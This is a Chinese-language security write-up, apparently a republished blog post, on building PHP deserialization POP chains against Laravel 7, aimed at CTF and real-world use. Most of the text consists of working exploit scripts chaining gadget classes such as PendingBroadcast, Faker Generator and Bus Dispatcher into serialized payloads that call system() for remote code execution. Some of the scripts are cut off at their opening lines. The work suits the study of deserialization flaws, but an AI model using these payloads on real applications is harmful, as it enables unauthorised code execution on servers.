0x00 前言
晚上闲着无聊,想到real world和ctf里非常喜欢出题考察的laravel,于是下了个7系列版本分析着玩一玩,梳理了一下现阶段可用的一些exp。
0x01 切入点
网上冲浪看到一篇blog讲laravel 5.8的漏洞,感觉挺有趣的:
https://nikoeurus.github.io/2019/12/16/laravel5.8%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/#Routes%E7%9B%AE%E5%BD%95
文章提供了一个切入点,即
Illuminate\Broadcasting\PendingBroadcast::__destruct
关键位置代码如下:
public function __destruct() { $this->events->dispatch($this->event); }
我们看到在__destruct函数中使用通过$this->events调用了方法dispatch,参数为$this->event。
这一位置在最新版中依然存在,同时我们可以发现$this->events和$this->event均为可控点,那么可以玩的花样就比较多了:
· 1.通过dispatch + 可控$this->events 触发__call方法
· 2.通过同名方法进行攻击
0x02 利用__call魔法方法
尝试搜寻一番__call魔法方法,发现一个切入点:
Faker\Generator::__call
关键代码如下:
public function __call($method, $attributes) { return $this->format($method, $attributes); }
跟进类内方法format:
public function format($formatter, $arguments = array()) { return call_user_func_array($this->getFormatter($formatter), $arguments); }
此处比较开心的是,正好调用参数时,使用了类内方法getFormatter,我们查看该方法的关键内容:
public function getFormatter($formatter) { if (isset($this->formatters[$formatter])) { return $this->formatters[$formatter]; } .......
显然我们可以使用数组进行bypass,例如:
$formatters['dispatch'] = xxx
如此一来即可任意RCE,我们编写exp:
formatters = $formatters; } } } namespace Illuminate\Broadcasting{ class PendingBroadcast{ protected $events; protected $event; public function __construct($event, $events) { $this->event = $event; $this->events = $events; } } } namespace{ $a = new Faker\Generator(array('dispatch' => 'system')); $b = new Illuminate\Broadcasting\PendingBroadcast('ls',$a); echo urlencode(serialize($b)); } ?>
0x03 利用同名函数
全局搜索哪些类有dispatch方法,可以定位到关键类:Illuminate\Bus\Dispatcher。
我们跟进其dispatch函数:
public function dispatch($command) { if ($this->queueResolver && $this->commandShouldBeQueued($command)) { return $this->dispatchToQueue($command); } return $this->dispatchNow($command); }
跟进dispatchToQueue函数:
public function dispatchToQueue($command) { $connection = $command->connection ?? null; $queue = call_user_func($this->queueResolver, $connection); ....... }
不难发现有call_user_func,而此时$this->queueResolver和$connection均可控。
那么只要通过如下限制即可:
if ($this->queueResolver && $this->commandShouldBeQueued($command))
我们跟进commandShouldBeQueued:
protected function commandShouldBeQueued($command) { return $command instanceof ShouldQueue; }
发现只要是继承ShouldQueue接口的类皆可。
这里随便搜一下,发现5个类均可用,编写exp如下:
events = $events; $this->event = $event; } } } namespace Illuminate\Bus{ class Dispatcher { protected $queueResolver; public function __construct($queueResolver="") { $this->queueResolver = $queueResolver; } } } namespace Illuminate\Events{ class CallQueuedListener { public $connection; public function __construct($connection="") { $this->connection = $connection; } } } namespace Illuminate\Broadcasting{ class BroadcastEvent { public $connection; public function __construct($connection="") { $this->connection = $connection; } } } namespace Illuminate\Foundation\Console{ class QueuedCommand { public $connection; public function __construct($connection="") { $this->connection = $connection; } } } namespace Illuminate\Notifications{ class SendQueuedNotifications { public $connection; public function __construct($connection="") { $this->connection = $connection; } } } namespace Illuminate\Queue{ class CallQueuedClosure { public $connection; public function __construct($connection="") { $this->connection = $connection; } } } namespace{ $a = new Illuminate\Bus\Dispatcher('system'); $b = new Illuminate\Events\CallQueuedListener('ls'); // $b = new Illuminate\Broadcasting\BroadcastEvent('ls'); // $b = new Illuminate\Foundation\Console\QueuedCommand('ls'); // $b = new Illuminate\Notifications\SendQueuedNotifications('ls'); // $b = new Illuminate\Queue\CallQueuedClosure('ls'); $c = new Illuminate\Broadcasting\PendingBroadcast($a,$b); echo urlencode(serialize($c)); } ?>
这5个exp异曲同工,均可使用。
0x04 举一反三(1)
那么对于诸如如上对象可控,对象调用方法参数可控的例子还有吗:
搜寻一番,可以发现关键类:Illuminate\Routing\PendingResourceRegistration
关键代码如下:
public function __destruct() { if (! $this->registered) { $this->register(); } }
跟进类内方法register:
public function register() { $this->registered = true; return $this->registrar->register( $this->name, $this->controller, $this->options ); }
此时我们发现:
$this->registered $this->registrar $this->name $this->controller $this->options
均为可控点,因此我们又有2条路可走:
· 1.使用__call魔法方法构造pop chain
· 2.寻找register同名函数构造pop chain
对于1的情况,其实直接复用之前的Faker\Generator类即可,我们很容易写出exp:
formatters = $formatters; } } } namespace Illuminate\Routing{ class PendingResourceRegistration{ protected $registrar; protected $name; protected $controller; protected $options; public function __construct($registrar, $name, $controller, $options) { $this->registrar = $registrar; $this->name = $name; $this->controller = $controller; $this->options = $options; } } } namespace{ $a = new Faker\Generator(array('register' => 'call_user_func')); $b = new Illuminate\Routing\PendingResourceRegistration($a,'call_user_func','system','ls'); echo urlencode(serialize($b)); } ?>
同理由于这个call_user_func 2个参数均可控,因此可调用任意对象的任意方法,传入任意参数。可以衍变出无数种可能。因此不再赘述。
0x05 举一反三(2)
继续搜寻类似的方法,可以发现关键类:Symfony\Component\Routing\Loader\Configurator\ImportConfigurator:
关键代码:
public function __destruct() { $this->parent->addCollection($this->route); }
此处我们的对象和参数均可控,那么同样可以结合Faker\Generator类写出exp:
formatters = $formatters; } } } namespace Symfony\Component\Routing\Loader\Configurator{ class ImportConfigurator{ private $parent; private $route; public function __construct($parent, $route) { $this->parent = $parent; $this->route = $route; } } } namespace{ $a = new Faker\Generator(array('addCollection' => 'system')); $b = new Symfony\Component\Routing\Loader\Configurator\ImportConfigurator($a,'ls'); echo urlencode(serialize($b)); } ?>
0X06 后记
对于laravel的pop chain构造层出不穷,大概围绕以下几个思路展开:
· 1.__destruct内直接调用的函数存在风险
· 2.__destruct内调用方法的对象可控
· 2.1 同名方法
· 2.2 __call方法
· 3.拼接组合
· 3.1 call_user_func等函数 只有对象和方法名可控,需要拼接1的chain
· 3.2 call_user_func等函数 参数均可控,随意拼接chain
对于3的情况其实比较容易了,这里可以衍生出大量的chain构造,所以关键点还是找__destruct切入点。
最后求求,别再出laravel的题了。
本文为 一叶飘零 原创稿件,授权嘶吼独家发布,如若转载,请注明原文地址: